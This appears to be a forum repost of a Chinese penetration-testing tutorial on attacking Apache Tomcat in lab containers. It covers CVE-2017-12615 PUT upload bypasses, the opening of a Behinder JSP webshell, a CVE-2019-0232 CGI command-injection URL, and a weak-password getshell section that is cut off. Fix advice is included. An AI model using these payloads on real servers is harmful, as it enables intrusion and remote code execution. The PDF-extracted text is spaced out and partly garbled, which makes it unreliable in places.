搜索

[17073] 2021-07-26_渗透测试Tomcat渗透

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-26_渗透测试Tomcat渗透 渗 透 测 试   |   T o m c a t 渗 透 原 创   每 天 都 要 努 力 哇   F r e e B u f   2 0 2 1 - 0 7 - 2 6 前 言 前 言 T o m c a t 服 务 器 是 一 个 免 费 的 开 放 源 代 码 的 w e b 应 用 服 务 器 ， 属 于 轻 量 级 应 用 服 务 器 ， 在 中 小 型 系 统 和 并 发 访 问 用 户 不 是 很 多 的 场 合 下 被 普 遍 使 用 ， 是 开 发 和 调 试 J S P 程 序 的 首 选 。 可 以 这 样 认 为 ， 当 在 一 台 机 器 上 配 置 好   A p a c h e 服 务 器 ， 可 利 用 它 响 应 H T M L 页 面 的 访 问 请 求 。 实 际 上   T o m c a t 是   A p a c h e 服 务 器 的 扩 展 ， 但 运 行 时 它 是 独 立 运 行 的 ， 所 以 当 运 行   t o m c a t 时 ， 它 实 际 上 作 为 一 个 与 A p a c h e 独 立 的 进 程 单 独 运 行 的 。 目 前 版 本 型 号 目 前 版 本 型 号 7 - 1 0 版 本 版 本 默 认 端 口 ： 默 认 端 口 ： 8 0 8 0 安 装 安 装 首 先 要 有 j a v a 的 环 境 注 意 ： 注 意 ： T o m c a t 的 版 本 对 与 的 版 本 对 与 J A V A 版 本 以 及 相 应 的 版 本 以 及 相 应 的 J S P 和 和   S e r v l e t 都 是 有 要 求 的 ， 都 是 有 要 求 的 ， T o m c a t 8 版 本 以 上 的 是 需 要 版 本 以 上 的 是 需 要 J a v a 7 及 以 后 的 版 本 ， 所 以 需 要 对 应 及 以 后 的 版 本 ， 所 以 需 要 对 应 J D K 的 版 本 来 下 载 的 版 本 来 下 载 T o m c a t 的 版 本 的 版 本 然 后 安 装 T o m c a t   一 路 默 认 下 来   就 o k 了 可 以 看 到 它 的 8 0 8 0 端 口   已 经 开 启 了
访 问 一 下 T o m c a t 分 析 分 析 主 要 文 件 主 要 文 件 上 传 目 录 上 传 目 录 1 . s e r v e r . x m l ： 配 置   t o m c a t 启 动 的 端 口 号 、 h o s t 主 机 、 C o n t e x t 等 2 . w e b . x m l : 部 署 描 述 文 件 ， 这 个 w e b . x m l 中 描 述 了 一 些 默 认 的   s e r v l e t ， 部 署 每 个   w e b a p p 时 ， 都 会 调 用 这 个 文 件 ， 配 置 该 w e b 应 用 的 默 认   s e r v l e t   3 ： t o m c a t - u s e r s . x m l : t o m c a t 的 用 户 密 码 与 权 限 。
T o m c a t 渗 透 渗 透 T o m c a t 任 意 文 件 写 入 任 意 文 件 写 入 ( C V E - 2 0 1 7 - 1 2 6 1 5 ） ） 影 响 范 围 影 响 范 围 A p a c h e   T o m c a t 7 . 0 . 0 - 7 . 0 . 8 1 （ 默 认 配 置 ） 复 现 复 现 这 边 我 用 v u l h u b 去 底 层 看 看 源 码 漏 洞 原 理 漏 洞 原 理 产 生 是 由 于 配 置 不 当 （ 非 默 认 配 置 ） ， 将 配 置 文 件 中 的 设 置 为 了   f a l s e ， 导 致 可 以 使 用 P U T 方 法 上 传 任 意 文 件 ， 但 限 制 了 j s p 后 缀 ， 不 过 对 于 不 同 平 台 有 多 种 绕 过 方 法 开 始 复 现 开 始 复 现 抓 包   改 位 P U T   上 传 方 式 去 上 传 目 录 看 看 成 功 上 传 绕 过 ， 成 功 上 传 绕 过 ， 成 功 上 传 j s p s u d o   s e r v i c e   d o c k e r   s t a r t   c d   v u l h u b / t o m c a t / C V E - 2 0 1 7 - 1 2 6 1 5 s u d o   d o c k e r - c o m p o s e   b u i l d s u d o   d o c k e r - c o m p o s e   u p   - d s u d o   d o c k e r   p s s u d o   d o c k e r   e x e c   - t i   a 3   b a s h c a t   c o n f / w e b . x m l   | g r e p   r e a d o n l y c o n f / w e b . x m l r e a d o n l y / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T
可 以 看 到 上 传 a 0 0 1 . j s p   是 成 功 绕 过 了 其 他 两 种 我 就 不 进 行 演 示 了 都 是 可 以 的 上 传 马 儿 ， 这 边 我 用 冰 蝎 进 行 连 接 注 意 ： 不 能 开 代 理 注 意 ： 不 能 开 代 理 看 看 冰 蝎 s e r v e r 目 录 下 的 j s p 马 儿 冰 蝎 的 j s p 马 儿 注 意 这 边 要 用 进 行 绕 过 , 上 传 j s p 也 可 以 看 到 是 成 功 上 传 的 用 冰 蝎 进 行 连 接 一 下 1 . W i n d o w s 下 不 允 许 文 件 以 空 格 结 尾 以 P U T   / a 0 0 1 . j s p % 2 0   H T T P / 1 . 1 上 传 到   W i n d o w s 会 被 自 动 去 掉 末 尾 空 格 2 . W i n d o w s N T F S 流 P u t / a 0 0 1 . j s p : : $ D A T A   H T T P / 1 . 1 3 .   / 在 文 件 名 中 是 非 法 的 ， 也 会 被 去 除 （ L i n u x / W i n d o w s ） P u t / a 0 0 1 . j s p / h t t p : / 1 . 1 < % @ p a g e   i m p o r t = " j a v a . u t i l . * , j a v a x . c r y p t o . * , j a v a x . c r y p t o . s p e c . * " % > < % ! c l a s s   U   e x t e n d s   C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n   s u p e r . d e f i n e C l a s s ( b , / * 该 密 钥 为 连 接 密 码 3 2 位 m d 5 值 的 前 1 6 位 ， 默 认 连 接 密 码 r e b e y o n d * / /
最 新 版 本 复 现 最 新 版 本 复 现 这 边 把 这 个 漏 洞 的 代 码   粘 贴 进 最 新 的 版 本 不 加 的 话   P U T   上 传 t x t 都 是 不 可 以 的 保 存 退 出   进 行 重 启 T o m c a t < i n i t - p a r a m >   < p a r a m - n a m e > r e a d o n l y < / p a r a m - n a m e >   < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e > < / i n i t - p a r a m >
确 实 是 可 以 成 功 写 入 的 进 行 P U T 写 入 t x t   发 现 它 是 可 以 的 但 是 绕 过 ， 上 传 j s p   三 种 方 法 我 都 试 了   是 不 行 的 修 复 修 复 把 r e a d o n l y   改 成 t r u e T o m c a t 远 程 代 码 执 行 （ 远 程 代 码 执 行 （ C V E - 2 0 1 9 - 0 2 3 2 ） ） 影 响 范 围 影 响 范 围 这 边 就 用   W i n d o w s   8 . 5 . 3 9   进 行 复 现 安 装 安 装 同 样 是 先 安 装 j a v a 然 后 安 装 T o m c a t < i n i t - p a r a m >   < p a r a m - n a m e > r e a d o n l y < / p a r a m - n a m e >   < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e > < / i n i t - p a r a m > A p a c h e   T o m c a t   9 . 0 . 0 . M 1   t o   9 . 0 . 1 7 A p a c h e   T o m c a t   8 . 5 . 0   t o   8 . 5 . 3 9 A p a c h e   T o m c a t   7 . 0 . 0   t o   7 . 0 . 9 3
访 问 一 下 漏 洞 原 理 漏 洞 相 关 的 代 码 在 中 ， C G I S e r l v e t 提 供 了 一 个 的 调 用 接 口 ， 在 启 用 参 数 时 ， 会 根 据 来 从 U r l 参 数 中 生 成 命 令 行 参 数 ， 并 把 参 数 传 递 至 J a v a 的 执 行 。 这 个 漏 洞 是 因 为 这 个 漏 洞 是 因 为 在 在   W i n d o w s 中 和 中 和   L i n u x 中 底 层 实 现 不 同 导 致 的 中 底 层 实 现 不 同 导 致 的 J a v a 的 R u n t i m e . g e t R u n t i m e ( ) . e x e c 在 C G I 调 用 这 种 情 况 下 很 难 有 命 令 注 入 。 而   W i n d o w s 中 创 建 进 程 使 用 的 是   C r e a t e P r o c e s s ， 会 将 参 数 合 并 成 字 符 串 ， 作 为 传 入   C r e a t e P r o c e s s 。 程 序 启 动 后 调 用 获 取 参 数 ， 并 调 用 传 至 a r g v 在   W i n d o w s 中 ， 当 中 的 参 数 为 b a t 文 件 或 是 c m d 文 件 时 ， 会 调 用   c m d . e x e ， 故 最 后 会 变 成 ， 而 J a v a 的 调 用 过 程 并 没 有 做 任 何 的 转 义 ， 所 以 在 W i n d o w s 下 会 存 在 漏 洞 。 除 此 之 外 ， W i n d o w s 在 处 理 参 数 方 面 还 有 一 个 特 性 ， 如 果 这 里 只 加 上 简 单 的 转 义 还 是 可 能 被 绕 过 例 如 在   L i n u x 中 是 安 全 的 ， 而 在 W i n d o w s 会 执 行 命 令 。 这 是 因 为   W i n d o w s 在 处 理 命 令 行 参 数 时 ， 会 将 中 的 内 容 拷 贝 为 下 一 个 参 数 ， 直 到 命 令 行 结 束 或 者 遇 到 下 一 个 ， 但 是 对 的 处 理 有 误 。 因 此 在 J a v a 中 调 用 批 处 理 或 者 c m d 文 件 时 ， 需 要 做 合 适 的 参 数 检 査 才 能 避 免 漏 洞 岀 现 。 漏 洞 分 析 漏 洞 分 析 T o m c a t 的   C G I _ S e r v l e t 组 件 默 认 是 关 闭 的 ， 在 中 找 到 注 释 的   C G I S e r v l e t 部 分 ， 去 掉 注 释 ， 并 配 置   e n a b l e C m d L i n e A r g u m e n t s 和 e x e c u t a b l e t o m c a t j a v a o r g a p a c h e c a t a l i n a s e r v l e t s C G I S e r v l e t . j a v a c g i e n a b l e C m d L i n e A r g u m e n t s R F C   3 8 7 5 R u n t i m e R u n t i m e . g e t R u n t i m e ( ) . e x e c l p C o m a n d L i n e G e t c o m m a n d L i n e C o m m a n d L i n e T o A r g w C r e a t e P r o c e s s c m d . e x e   / c   " a 0 0 1 . b a t   d i r " d i r   " " & w h o a m i " " " " c o n f / w e b . x m l
就 是 配 置 这 里 这 里 主 要 的 设 置 是 e n a b l e C m d L i n e A r g u m e n t s 和   e x e c u t a b l e 两 个 选 项 。 1 . e n a b l e C m d L i n e A r g u m e n t s 启 用 后 才 会 将 U r l 中 的 参 数 传 递 到 命 令 行 2 . e x e c u t a b l e 指 定 了 执 行 的 二 进 制 文 件 ， 默 认 是 p e r l ， 需 要 置 为 空 才 会 执 行 文 件 本 身 。 同 样 在 c o n f / w e b . x m l 中 启 用 c g i 的   s e r v l e t - m a p p i n g 修 改 c o n f / c o n t e x t . x m l 的 添 加   p r i v i l e g e d = ” t r u e ” 属 性 ， 否 则 会 没 有 权 限 配 置 目 录 文 件 在 下 创 建 目 录 并 在 该 目 录 下 创 建 一 个 a 0 0 1 . t x t < s e r v l e t >         < s e r v l e t - n a m e > c g i < / s e r v l e t - n a m e >         < s e r v l e t - c l a s s > o r g . a p a c h e . c a t a l i n a . s e r v l e t s . C G I S e r v l e t < / s e r v l e t - c l a s s >         < i n i t - p a r a m >                 < p a r a m - n a m e > c g i P a t h P r e f i x < / p a r a m - n a m e >                 < p a r a m - v a l u e > W E B - I N F / c g i < / p a r a m - v a l u e >         < / i n i t - p a r a m >         < i n i t - p a r a m >                 < p a r a m - n a m e > e n a b l e C m d L i n e A r g u m e n t s < / p a r a m - n a m e >                 < p a r a m - v a l u e > t r u e < / p a r a m - v a l u e >         < / i n i t - p a r a m >         < i n i t - p a r a m >                 < p a r a m - n a m e > e x e c u t a b l e < / p a r a m - n a m e >                 < p a r a m - v a l u e > < / p a r a m - v a l u e >         < / i n i t - p a r a m >         < l o a d - o n - s t a r t u p > 5 < / l o a d - o n - s t a r t u p > < / s e r v l e t > < C o n t e x t   p r i v i l e g e d = " t r u e " > C : T o m c a t w e b a p p s R O O T W E B - I N F c g i - b i n
里 面 内 容 随 意 记 得 重 启 一 下 然 后 我 们 访 问 可 以 看 到 成 功 任 意 代 码 执 行 ！ 修 复 方 式 修 复 方 式 开 发 者 在   p a t c h 中 增 加 了 参 数 ， 这 个 参 数 用 来 校 验 传 入 的 命 令 行 参 数 ， 如 果 传 入 的 命 令 行 参 数 不 符 合 规 定 的 模 式 ， 则 不 执 行 。 校 验 写 在   s e t u p F r o m R e q u e s t 函 数 中 不 通 过 时 ， 会 将   C G I E n v i r o n m e n t 的 参 数 设 为   f a l s e ， 在 之 后 的 处 理 函 数 中 会 直 接 跳 过 执 行 h t t p : / / 1 9 2 . 1 6 8 . 1 7 5 . 1 9 3 : 8 0 8 0 / c g i - b i n / a 0 0 1 . b a t ? & d i r c m d L i n e A r g u m e n t s D e c o d e d S t r i n g   d e c o d e d A r g u m e n t   =   U R L D e c o d e r . d e c o d e ( e n c o d e d A r g u m e n t ,   p a r a m e t e r E n c o d i n g ) ; i f   ( c m d L i n e A r g u m e n t s D e c o d e d P a t t e r n   ! =   n u l l   & &   ! c m d L i n e A r g u m e n t s D e c o d e d P a t t e r n . m a t c h e r ( d e c o d e d A r g u m e n t ) . m a t c h e s ( ) )   {   i f   ( l o g . i s D e b u g E n a b l e d ( ) )   {   l o g . d e b u g ( s m . g e t S t r i n g ( " c g i S e r v l e t . i n v a l i d A r g u m e n t D e c o d e d " ,   d e c o d e d A r g u m e n t ,   c m d L i n e A r g u m e n t s D e c o d e d P a t t e r n . t o S t r i n g ( ) ) ) ;   }   r e t u r n   f a l s e ; } v a l i d i f   ( c g i E n v . i s V a l i d ( ) )   {   C G I R u n n e r   c g i   =   n e w   C G I R u n n e r ( c g i E n v . g e t C o m m a n d ( ) ,   c g i E n v . g e t E n v i r o n m e n t ( ) ,   c g i E n v . g e t W o r k i n g D i r e c t o r y ( ) ,   c g i E n v . g e t P a r a m e t e r s ( ) ) ;
修 复 建 议 修 复 建 议 1 . 使 用 更 新 版 本 的   A p a c h e   T o m c a t 。 这 里 需 要 注 意 的 是 ， 虽 然 在 9 . 0 . 1 8 就 修 复 了 这 个 漏 洞 ， 但 这 个 更 新 是 并 没 有 通 过 候 选 版 本 的 投 票 ， 所 以 虽 然 9 . 0 . 1 8 没 有 在 被 影 响 的 列 表 中 ， 用 户 仍 需 要 下 载 9 . 0 . 1 9 的 版 本 来 获 得 没 有 该 漏 洞 的 版 本 2 . 关 闭   e n a b l e C m d L i n e A r g u m e n t s 参 数 T o m c a t 弱 口 令 弱 口 令 & 后 台 后 台 g e t s h e l l 漏 洞 漏 洞 影 响 范 围 影 响 范 围 T o m c a t 8 这 边 就 还 是 用 v u l h u b 进 行 复 现 之 前 的 容 器 要 关 掉 去 d o c k e r 底 层 看 看 它 的 源 码 把 这 三 个 文 件 复 制 出 来 源 码   i f   ( " P O S T " . e q u a l s ( r e q . g e t M e t h o d ( ) ) )   {   c g i . s e t I n p u t ( r e q . g e t I n p u t S t r e a m ( ) ) ;   }   c g i . s e t R e s p o n s e ( r e s ) ;   c g i . r u n ( ) ; }   e l s e   {   r e s . s e n d E r r o r ( 4 0 4 ) ; } c d   v u l h u b - m a s t e r / t o m c a t / t o m c a t 8 s u d o   d o c k e r - c o m p o s e   u p   - d s u d o   d o c k e r   p s s u d o   d o c k e r   e x e c   - t i   a   b a s h c d   c o n f s u d o   d o c k e r   c p   5 e 8 1 d 6 d 5 1 6 2 2 : / u s r / l o c a l / t o m c a t / c o n f / t o m c a t - u s e r s . x m l   / h o m e / d a y u / D e s k t o p / s u d o   d o c k e r   c p   5 e 8 1 d 6 d 5 1 6 2 2 : / u s r / l o c a l / t o m c a t / c o n f / t o m c a t - u s e r s . x s d   / h o m e / d a y u / D e s k t o p / s u d o   d o c k e r   c p   5 e 8 1 d 6 d 5 1 6 2 2 : / u s r / l o c a l / t o m c a t / c o n f / w e b . x m l   / h o m e / d a y u / D e s k t o p / < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < t o m c a t - u s e r s   x m l n s = " h t t p : / / t o m c a t . a p a c h e . o r g / x m l "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x s i : s c h e m a L o c a t i o n = " h t t p : / / t o m c a t . a p a c h e . o r g / x m l   t o m c a t - u s e r s . x s d "   v e r s i o n = " 1 . 0 " >   < r o l e   r o l e n a m e = " m a n a g e r - g u i " / >   < r o l e   r o l e n a m e = " m a n a g e r - s c r i p t " / >   < r o l e   r o l e n a m e = " m a n a g e r - j m x " / >   < r o l e   r o l e n a m e = " m a n a g e r - s t a t u s " / >   < r o l e   r o l e n a m e = " a d m i n - g u i " / >   < r o l e   r o l e n a m e = " a d m i n - s c r i p t " / >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理